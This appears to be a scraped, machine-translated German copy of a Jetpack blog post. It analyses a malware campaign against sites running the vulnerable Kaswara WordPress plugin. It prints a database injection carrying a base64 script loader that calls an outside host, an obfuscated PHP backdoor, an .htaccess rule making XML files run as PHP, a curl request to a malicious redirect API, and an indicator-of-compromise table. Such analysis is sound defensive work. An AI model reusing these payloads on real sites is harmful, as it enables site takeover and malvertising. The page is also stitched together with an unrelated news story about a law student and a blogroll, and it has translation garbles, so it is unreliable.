Jetpack Social, the newest and easiest way to share your WordPress content to Facebook, –Twitter, LinkedIn, and Tumblr — Jetpack
You’re already sharing posts, pages, and products on your website. Jetpack Social goes one step further and shares your content directly from the WordPress Editor to your social media channels. Write once, post everywhere.
Jetpack Social, the newest and easiest way to share your WordPress content to Facebook, Twitter, LinkedIn, and Tumblr — Jetpack
In Ihrem sorgfältigen Budget, in dem Sie über Ihre Entwicklung nachdenken, hängt der ganze Erfolg vom gesunden Menschenverstand der Gemeinschaft ab, der Plan scheitert nicht, Hindernisse folgen frei und müssen in einer freien Gesellschaft leider erst gelöst werden, um dazu in der Lage sein. weiter erfolge zuerteilen,(se/nz)
Veröffentlicht am 8. Juni 2021 von Fioravante Souza
Zurück am 20. April 2021, unsere Freunde bei WPScan re p orted eine schwere Sicherheitslücke auf Kaswara Moderne VC Addons, die auch als Kaswara Moderne WPBakery Page Builder Addons bekannt. Es ist bei Codecanyon/Envato nicht mehr verfügbar , was bedeutet, dass Sie, wenn Sie es ausführen , eine Alternative auswählen müssen.
Diese Schwachstelle ermöglicht es nicht authentifizierten Benutzern, beliebige Dateien in das Symbolverzeichnis des Plugins (./wp-content/uploads/kaswara/icons) hochzuladen. Dies ist der erste Indicator Of Compromise (IOC), den unsere Freunde von WPScan in ihrem Bericht mit uns geteilt haben.
Die Möglichkeit, beliebige Dateien auf eine Website hochzuladen, gibt dem Angreifer die volle Kontrolle über die Website, was es schwierig macht, die endgültige Nutzlast dieser Infektion zu definieren. Daher zeigen wir Ihnen alles, was wir bisher gefunden haben (wir haben uns von der Recherche etwas mitreißen lassen, also springen Sie gerne zum IOC-Abschnitt, wenn Sie nicht durchlesen möchten).
Vielen Dank an unseren Freund Denis Sinegubko von Sucuri für den Hinweis auf das Follow-up der Datenbankinjektion, das bei diesem Angriff verwendet wurde.
Böse Akteure würden die Option ‘kaswara-customJS’ aktualisieren, um einen willkürlichen bösartigen Ausschnitt von Javascript-Code hinzuzufügen. Hier ist ein Beispiel, das wir gefunden haben:
| 1234 | INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS','dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBmdW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes'); |
Diese base64-codierte Zeichenfolge bedeutet:
| 12345 | var script = document.createElement(\'script\');script.onload = function() {};script.src = \"hxxps://evadav[.]link/script.js\";document.getElementsByTagName(\'head\')[0].appendChild(script); |
Und wie es bei dieser Art von Skript normalerweise der Fall ist, lädt es eine Reihe anderer Javascript-Codeschnipsel, und die letzte Nutzlast ist entweder ein Malvertising oder ein Exploit-Kit. Dies ist sehr ähnlich zu dem, was Wordfence hier berichtet hat .
In diesem Fall stirbt das Skript auf hxxp://double-clickd[.]com/ und lädt keine schlechten Inhalte. Ich habe seit Anfang 2020 verdächtiges Javascript gefunden, das diese Seite aufruft, und die Leute haben sie bereits seit 2018 blockiert .
Die 40 Android-Apps, die wir auf den von uns untersuchten Websites gefunden haben, waren gefälschte Versionen verschiedener Apps wie AliPay, PayPal, Correos, DHL und viele andere, die laut dieser VirusTotal-Analyse glücklicherweise von den beliebtesten Anti-Virus-Anbietern erkannt wurden .
Ich habe die Absichten der App nicht überprüft, aber ein kurzer Überblick über die von ihr angeforderten Berechtigungen kann uns einen Eindruck davon geben, was sie tun könnte:
Diese Dateien werden jedoch nicht sofort mit dem Kaswara-Exploit hochgeladen. Nachdem die Site kompromittiert wurde, laden die Angreifer zuerst andere Tools hoch, um die Site vollständig zu kontrollieren.
Einige Backdoors und andere Malware wurden auch auf Websites gefunden, die von dieser Sicherheitsanfälligkeit kompromittiert wurden. Ich werde eine kurze Analyse der beliebtesten und interessantesten in diesem Beitrag teilen. Ich möchte mich jedoch zunächst auf die komplexeste konzentrieren.
Die gefälschten Apps, die ich auf mehreren kompromittierten Websites gefunden habe, wurden nicht durch Ausnutzung der Kaswara-Sicherheitslücke hochgeladen. Sie werden mit einem multifunktionalen Hacktool auf die Site hochgeladen, das es dem Angreifer ermöglicht, Remote-Code hochzuladen (durch Angabe einer URL oder einer Zeichenfolge) und den Benutzer auf eine bösartige Site umzuleiten.
Die Datei kann leicht durch das Vorhandensein dieser Zeichenfolge identifiziert werden: base64_decode('MTIz');error_reporting(0);Funktion
Interessanterweise wird alles andere als dies randomisiert.
Die Malware befindet sich in einer einzigen Zeile, was auch ein interessantes IOC ist, wenn Sie nach dieser Art von Codeanomalie suchen.
Zur besseren Verständlichkeit habe ich die meisten Teile des Codes entschlüsselt, die interessanten Funktionen umbenannt und den Code verschönert. Die Malware umfasst 6 verschiedene Funktionen, von denen 5 auf den an die Variable übergebenen Werten basieren . Betrachten wir für dieses Dokument eine der vielen Instanzen, die ich gefunden habe: . $_GET['ts']c.php
Dies bewirkt nichts und zwingt die Site, einen 500-Fehler zurückzugeben (später im Code).
Ändert den $q1aFlagwert in true, um eine Codevalidierung durchzuführen und eine OK-Nachricht an den Angreifer auszugeben.
In diesem Fall antwortet die Gegenstelle: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}
Schreibt eine Datei auf den Server mit Code, der vom Inhalt bereitgestellt wird, $_GET["v"]solange $_GET["p"]die SHA1-Prüfsumme 123 ist (erinnern Sie sich, dass der erste IOC von base64_decode('MTIz')? dies ist diese Prüfsumme).
Schreibt 5 MB „-“ auf den Server, wahrscheinlich verwendet, um zu testen, ob die Upload-Funktion auf dem Server funktioniert.
Wenn die Malware diese Anfrage erhält, führt sie einen Test durch, um zu überprüfen, ob hochgeladene Dateien erfolgreich auf den Server geschrieben wurden. Ihre MD5-Hashes müssen bekannt sein und werden $_GET['h']als kommagetrennte Werte an die Variable gesendet .
Lädt eine Datei von einer Reihe von Websites von Drittanbietern herunter und speichert sie auf dem Server, wobei sie nach den letzten 12 Zeichen des md5 der heruntergeladenen Datei benannt wird.
Dies ist die Funktion, die verwendet wird, um gefälschte Apps auf den Server hochzuladen.
Hier ist ein Beispiel für die Aufforderung zum Herunterladen schädlicher Dateien /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697
Wenn die kt Option oder keine Option ausgewählt wurde, fährt der Code mit der Umleitung fort, die durch Anfordern eines JSON-Blobs mit den erforderlichen Daten erreicht wird. Anschließend leitet es den Besucher mithilfe der Header-Funktion um.
Die Antwort ist wie folgt: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
Die Funktion zum Ausführen einer cURL-Anfrage mit den benötigten Parametern ist diese: Nichts Besonderes…
Und es kann in diese cURL-Anfrage übersetzt werden:
| 12345 | curl -X POST hxxp://papass[.]ru/click_api/v3 \ -H 'X-Forwarded-For: 200.171.221.1' \ -H 'Accept-Language: *' \ -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \ -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4' |
Die endgültige URL ist, soweit ich das testen konnte, zufällig, hat aber die gleiche Eigenschaft, eine gefälschte Seite für einen beliebten Dienst oder eine App zu sein.
Eine XML-Datei wird normalerweise nicht als potenzielle Bedrohung markiert, aber in diesem Fall haben wir eine speziell gestaltete .htaccess-Datei, die die Sicht des Webservers ändert:
| 1234567891011121314fünfzehn | Order Deny,AllowAllow from all <FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$"> AddHandler application/x-httpd-php .xml .pdf AddType application/x-httpd-php .xml .pdf # --- SetHandler application/x-httpd-php ForceType application/x-httpd-php # --- php_value engine 1 # --- Order Deny,Allow Allow from all</FilesMatch> |
Tatsächlich weist Apache an, alle Java-, Home- oder Menüdateien mit xml, php oder pdf als PHP-Datei zu verstehen, die entsprechend verarbeitet und ausgeführt werden soll. Jede dieser Dateien, die sich in derselben Verzeichnisstruktur wie diese .htaccess befinden, ist also verdächtig.
Die Datei javas.xml ist mit einigen anderen schädlichen Dateien identisch, die auf die Site hochgeladen wurden. Ich habe festgestellt, dass der Unterschied darin besteht, dass einige am Ende der Datei eine oder zwei Leerzeilen haben, was das traditionelle Hashing etwas schwieriger macht.
| 1234567891011 | <?php$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK ("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334 -4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137" . "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160" . "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107" ) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) . "\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60" . "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 - 9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " " ; } |
Der Schadcode wird mit str_rot13- und base64-codierten Strings verschleiert. Es verwendet auch hexadezimale Werte und mathematische Operationen, um die Zeichenfolgen ein wenig mehr auszublenden. Die endgültige Nutzlast ist unbekannt, da sie eine Funktion basierend auf den Werten einer POST-Anforderung erstellt. Die Nutzlast scheint jedoch jedes Mal gleich zu sein, da sie vor der Erstellung auf eine md5-Prüfung angewiesen ist (c42ea979ed982c02632430e9e98a66d6 ist der md5-Hash).
Da es sich um eine aktive Kampagne handelt, stellen wir zum Zeitpunkt des Schreibens dieses Beitrags immer mehr verschiedene Malware-Beispiele fest, die auf den betroffenen Websites abgelegt werden. Einige sind nur Variationen dessen, was wir hier haben, während andere für eine tiefere Analyse interessant genug sind. Suchen Sie in Kürze nach einigen kleineren Beiträgen, um einige dieser anderen Beispiele zu erkunden.
Dies zeigt, wie wichtig es ist, Ihre Erweiterungen mit den neuesten Sicherheitsfixes zu aktualisieren. Wenn die Entwickler Fixes nicht rechtzeitig veröffentlichen oder es aus dem WordPress.org-Repository (oder anderen Marktplätzen) entfernt wird, empfehlen wir Ihnen dringend, eine sicherere Alternative dazu zu finden.
Wenn Sie sich Sorgen über Malware und Sicherheitslücken für Ihre Website machen, sehen Sie sich die Sicherheitsfunktionen von Jetpack an. Jetpack Security bietet benutzerfreundliche , umfassende WordPress-Site-Sicherheit, einschließlich Backups, Malware-Scans und Spam-Schutz.
Hier finden Sie die vollständige Liste aller von uns identifizierten IOCs:
| Hash (SHA-1) | Pfad | Bedrohungsbeschreibung |
| 754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Gefälschte Android-App |
| 8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Gefälschte Android-App |
| 1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Gefälschte Android-App |
| b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Gefälschte Android-App |
| b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Gefälschte Android-App |
| 886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Gefälschte Android-App |
| e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Gefälschte Android-App |
| 970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Gefälschte Android-App |
| ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Gefälschte Android-App |
| 423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Gefälschte Android-App |
| 455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Gefälschte Android-App |
| f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Gefälschte Android-App |
| 98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Gefälschte Android-App |
| 1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Gefälschte Android-App |
| 8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Gefälschte Android-App |
| f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Gefälschte Android-App |
| f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Gefälschte Android-App |
| b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Gefälschte Android-App |
| 8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Gefälschte Android-App |
| e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Gefälschte Android-App |
| eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Gefälschte Android-App |
| 814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Gefälschte Android-App |
| edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Gefälschte Android-App |
| 6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Gefälschte Android-App |
| 295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Gefälschte Android-App |
| c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Gefälschte Android-App |
| 6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Gefälschte Android-App |
| 816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Gefälschte Android-App |
| a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Gefälschte Android-App |
| 9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Gefälschte Android-App |
| ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Gefälschte Android-App |
| 2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Gefälschte Android-App |
| 1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Gefälschte Android-App |
| 21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Gefälschte Android-App |
| de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Gefälschte Android-App |
| 1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Gefälschte Android-App |
| a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Gefälschte Android-App |
| 8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Gefälschte Android-App |
| 31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Gefälschte Android-App |
| d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Gefälschte Android-App |
| 8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Verworfene Malware |
| 95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Verworfene Malware |
| 2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | PHP-Datei-Uploader |
| 0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Verworfene Malware |
| da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware für Remote Code Execution |
| d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Verworfene Malware |
| 4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Verworfene Malware |
| 7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Verworfene Malware |
| 6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Verworfene Malware |
| 486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Verworfene Malware |
| 8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Verworfene Malware |
| 5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Verworfene Malware |
| 7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Verworfene Malware |
| 4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Malware für Remote Code Execution |
| f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Verworfene Malware |
| 0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php oder ./wp-content/uploads/xeh02b.php | Verworfene Malware |
| 64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Verworfene Malware |
| 1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Malware für Remote Code Execution |
| 7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Verworfene Malware |
| wp-content/uploads/kaswara/icons/16/javas.xml | Malware für Remote Code Execution | |
| – | schlumpfetta.ru | Schädliche Domain |
| http://papass.ru | Schädliche Domain |
Dieser Beitrag wurde unter Schwachstellen veröffentlicht . Setzen Sie ein Lesezeichen für den Permalink .
Quelle/Jetpack WordPress Automatik.com
Oberster Richter Tom Bathurst, Taylah Gray und Professor Tania Sourdin (Universität Newcastle)Eine Wiradjuri-Frau hat eine wechselvolle akademische Vergangenheit hinter sich, nachdem sie zum Doktor der Rechtswissenschaften zugelassen wurde.Durch Douglas SmithQuelle: NITV Nachrichten2. MÄRZ 2021 – 16:33 AKTUALISIERT 2. MÄRZ 2021 – 16:33 UHR
Australien,-Nachdem die 24-jährige Wiradjuri-Frau und Anwältin Taylah Gray in ihren Schuljahren jede juristische Bewertung und Prüfung nicht bestanden hat, trotzt sie den Widrigkeiten ihrer Vergangenheit und steht kurz vor einer Promotion in Rechtswissenschaften.
Ihre Promotion wird sich auf Native Title und Souveränität konzentrieren.
Letzte Woche sprach Frau Gray in einem Facebook-Post, der viral wurde, über strukturelle Ungleichheiten gegenüber Menschen der First Nations in australischen Bildungssystemen und ermutigte junge Menschen, sich an ihrem Beispiel zu orientieren.
“Wenn es Kinder der First Nations gibt, die dies lesen, möchte ich, dass Sie wissen, dass das Bildungssystem nicht für uns gebaut ist”, las sie ihren Beitrag.
“Aber lassen Sie sich vom System nicht glauben machen, dass Sie nicht begabt oder talentiert genug sind.
“Ich habe jedes Jurastudium während des gesamten 11. und 12. Jahres nicht bestanden. Glauben Sie mir, JEDE BEWERTUNG UND PRÜFUNG habe ich nicht bestanden.
Am Montag sagte Frau Gray gegenüber NITV News, dass sie andere dazu inspirieren wolle, Benachteiligungen zu überwinden, und berichtete von den Kämpfen, mit denen sie selbst in Dubbo im Zentrum von New South Wales aufgewachsen war.
“Zu Hause war es ein bisschen schwierig … als ich bei meinem Vater lebte, hatten wir kein WLAN, also war es ein Kampf, und es war schwierig, meinen HSC zu machen”, sagte sie.
„Es gab viele Kinder, die sich für ihre pädagogische Unterstützung auf ihre Eltern stützen konnten, aber das konnte ich nicht, weil meine Eltern nicht zur Universität gingen.
“Mein Vater ist ein Überlebender der gestohlenen Generation – er wurde davon abgehalten, sich mit dem Bildungssystem zu beschäftigen, und er musste für jede Lektion hinten in der Klasse sitzen.”
Aus Respekt vor Ureinwohnern: Australien ändert Nationalhymnen
Nachdem Frau Gray die für die Zulassung zur Universität erforderlichen Noten nicht erreicht hatte, absolvierte sie stattdessen einen indigenen Grundkurs an der Universität von Newcastle, der ihr den Eintritt in die juristische Fakultät erleichterte.
Als Frau Gray über die Erfahrungen ihres Vaters als Kind nachdachte, machte sie es sich zur Regel, dass sie an der Spitze jeder Rechtsklasse sitzen würde, an der sie teilnahm.
“Ich habe die Klasse an der juristischen Fakultät angeführt und wurde neulich akzeptiert, um eine Doktorarbeit zu schreiben. Es geht um Native Title – es geht um Wirtschaftstheorien”, sagte sie.
Ihre Bemühungen, sich für die Rechte der Ureinwohner einzusetzen, haben in ganz Australien bereits Schlagzeilen gemacht.
Im Juli letzten Jahres gewann sie einen Fall des Obersten Gerichtshofs, in dem eine Entscheidung der NSW-Polizei aufgehoben wurde, einen Protest gegen Black Lives Matter im CBD von Newcastle zu verbieten.
Taylah Grays Bemühungen haben bereits Schlagzeilen gemacht und die Entscheidung der NSW-Polizei, einen Protest gegen Black Lives Matter im Newcastle CBD im Jahr 2020 zu verbieten, aufgehoben.Quelle: Facebook (Taylah Gray).
Frau Gray sagte, dass ihr Fokus jetzt auf Native Title liegt und dass ihre Doktorarbeit Wirtschaftstheorien untersuchen wird, die Indigenen helfen, Einkommen aus positiven Bestimmungen zu generieren.
“Es wird … untersuchen, wie schwarze und weiße Menschen das Land gemeinsam nutzen können und wie schwarze Menschen dabei auch wirtschaftlich unabhängig und nachhaltig werden können”, sagte sie.
Indigene Demonstranten nehmen an einer BLM-Kundgebung (Black Lives Matter) im The Domain in Sydney am Sonntag, dem 5. Juli 2020, teil. (AAP)
“[Wir können] rechtliche Anerkennung von Land haben … wir können das Land nutzen, um Einkommen für Blackfullas zu generieren, und nicht nur für Blackfullas, sondern auch dafür, wie weiße Menschen etwas zurückgeben können.”
Frau Gray sagt, dass sie sich nach Abschluss ihrer Promotion mit dem Strafrecht befassen und möglicherweise Verteidigerin werden möchte. Aber vorerst wird sie ihre Optionen offen halten.
„Ich bin aufgeschlossen, ich bin offen, aber ich weiß, in welchem Bereich. Es ist entweder Strafrecht oder Landrecht, dort möchte ich enden. “
Quelle/sbs/NITV News.
A blog of comfort during unpredictable times
Food, Travel, Life
In Kate's World
International affairs and diplomacy online magazine
News that matter - L'actualité qui compte
Encouraging Diversity
Life is a story, waiting to be told
Slightly Obsessive Philosophical Ramblings
Subiektywny obraz świata według Goldenbrown
Independent Journalism
Comida Natural
di tutto un po'!
Let's recollect our emotions in tranquillity
Smexy Historical Romance
Seek Justice - Love Mercy - Walk Humbly
Sometimes, we need fantasy!
Contre le blues, le meilleur remède, c'est le rock
Photographer in Stockholm, Sweden
Ina Vukic - Croatia: people, politics, history, economy, transition from communism to democracy
The Truth for Kyle
Riding in cars with dogs
Online Zeitung
Online Zeitung
Kale Eats Plants!
vegan Persian recipes and other family favorite vegan recipes
Frasi, citazioni, pensieri che nascono dal cuore
scrittrice
Barcelona's Multiverse | Art | Culture | Science
fashion photographer
NEWS 'n PAPERS
Association of Belarusians in Europe
Piattoranocchio non è solo un blog di ricette! Allieta la tua giornata con storie divertenti e saziati di foto!
I have created this site to help people have fun in the kitchen. I write about enjoying life both in and out of my kitchen. Life is short! Make the most of it and enjoy!
Every life is special !
Online Zeitung
Online Zeitung
The latest news on WordPress.com and the WordPress community.
Dreigliederung, Geisteswissenschaft und Zeitgeschehen
Online Zeitung
NZ 
You must be logged in to post a comment.